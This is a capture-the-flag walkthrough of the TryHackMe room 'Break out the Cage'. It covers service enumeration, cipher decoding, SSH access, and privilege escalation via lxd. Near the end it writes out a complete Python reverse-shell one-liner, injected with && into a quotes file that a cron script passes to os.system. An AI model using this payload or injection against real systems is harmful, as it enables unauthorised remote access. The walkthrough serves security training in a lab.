Break out the cage

In this post, we will look into the room “Break out the Cage” from TryHackMe, which can be found on


Start the box with a nmap scan to identify what services are running on the box, including the version of the service.

# Nmap 7.80 scan initiated Mon Jun 15 20:39:20 2020 as: nmap -sC -sV -Pn -o cage
Nmap scan report for
Host is up (0.24s latency).
Not shown: 997 closed ports
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             396 May 25 23:33 dad_tasks
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dd:fd:88:94:f8:c8:d1:1b:51:e3:7d:f8:1d:dd:82:3e (RSA)
|   256 3e:ba:38:63:2b:8d:1c:68:13:d5:05:ba:7a:ae:d9:3b (ECDSA)
|_  256 c0:a6:a3:64:44:1e:cf:47:5f:85:f6:1f:78:4c:59:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Nicholas Cage Stories
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Mon Jun 15 20:40:04 2020 -- 1 IP address (1 host up) scanned in 44.21 seconds

From the scan we identified three services running:

  • ftp
  • ssh
  • web


We now run ffuf, which is a website fuzzer used to identify files and folders

 Documents/tryhackme/BreakOutTheCage [I] ➜ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -u -ic -c -t 100 --timeout 60           ✘130 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       


 :: Method           : GET
 :: URL              :
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 60
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403

html                    [Status: 301, Size: 311, Words: 20, Lines: 10]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10]
scripts                 [Status: 301, Size: 314, Words: 20, Lines: 10]
contracts               [Status: 301, Size: 316, Words: 20, Lines: 10]
auditions               [Status: 301, Size: 316, Words: 20, Lines: 10]

The results give us five directories

  • /images - various images
  • /html - empty
  • /scipts - various text files
  • /contracts - an empty file
  • /audition - an mp3 file

Out of all the files, it is the mp3 files that is of interest. This is because upon hearing there is an odd sound high pitched sound for 3 seconds, hence we need spectogram analyser e.g. sonic visualiser


From the nmap scan we know that we have anonymous access to ftp, hence we can try connecting to ftp and see what we can access


However, after connecting to the ftp server we cannot issue an ls command since we are on active mode, hence need to switch to passive mode to issue the ls command. We can finally see that we have a file dad_tasks


This is a base64 string, hence we can decode it

Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.

Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl

However, this looks like another encoded message or encrypted message

Using a cipher identifier we can identify what type of string it is, and the text is a ` Vigenere Cipher`, meaning we need a key.


Sonic Visualizer


We use sonic visualiser and load the file

We then go to Layer -> Add Spectogram -> All Channels Mixed from which we can see some text

We can try to use this text as the key for Vigenere Cipher discovered earlier



In cyber-chef we paste the text we found from the ftp directory

We then load recipies, in this order:

  • Base64 decode
  • Vigenère decode

For the Vigenère key, we use the text recovered from the previous step

If everthing goes accordingly, we get the resulting text

Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!!
One. Revamp the website
Two. Put more quotes in script
Three. Buy bee pesticide
Four. Help him with acting lessons
Five. Teach Dad what "information security" is.

In case I forget.... 

Where the Mydad… is the first flag



Now that we have the password of Weston, we can ssh to the machine

We now execute the id command to see which groups we are in

weston@national-treasure:~$ id
uid=1001(weston) gid=1001(weston) groups=1001(weston),1000(cage)

Something to note is that we are also in the cage group.

We can now run pspy64, a tool to examine running process in the machine. Upon running we find something interesting

The results shows that there is process running as different user, in this case, Cage. Therefore we try to see if we can read or write in that particular file or directory

weston@national-treasure:~$ ls -la /opt/.dads_scripts/
total 16
drwxr-xr-x 3 cage cage 4096 May 26 08:36 .
drwxr-xr-x 3 root root 4096 May 25 23:50 ..
drwxrwxr-x 2 cage cage 4096 May 25 23:47 .files
-rwxr--r-- 1 cage cage  255 May 26 08:36
weston@national-treasure:~$ ls -la /opt/.dads_scripts/.files/.quotes 
-rwxrw---- 1 cage cage 4204 May 25 23:47 /opt/.dads_scripts/.files/.quotes

This shows that group users are able to read and write in the .quotes file but only read the file


This is the python script that we discovered using the pspy tool and seems to grab a random quote from the .quotes file and process it using the os.system function and execute the wall command. Now that we know how the script works we can rewrite the .quotes file with a malicious payload

#!/usr/bin/env python

#Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!)
import os
import random

lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)


In this file, we basically delete all the contents and add a reverse shell that will connect back as cage

It is worth noting that the double && needs to be present since it signals that if the previous command was successful, then run the following command. In this case it is a reverse shell

"hello" && python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'


If the previous was successfull, then a session as cage should have opened.

The first item, is to check if there is any ssh keys and surely there is one key. We can now ssh in as cage

We now find the user flag

cage@national-treasure:~$ cat Super_Duper_Checklist 
1 - Increase acting lesson budget by at least 30%
2 - Get Weston to stop wearing eye-liner
3 - Get a new pet octopus
4 - Try and keep current wife
5 - Figure out why Weston has this etched into his desk: THM{...}


Now that we have logged in as cage, we noticed at the start that cage had a peculiar group added lxd. After a few google searches there is article that describes on how to abuse lxd privileges to gain root access.

In the event the groups part was overlooked, if you ran linenum the output would point you to the direction to look at

[+] We're a member of the (lxd) group - could possibly misuse these rights!
uid=1000(cage) gid=1000(cage) groups=1000(cage),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)

Once we have access as root, we navigate to /mnt/root/root, if directions are followed from the article, and reading email_2 we have the flag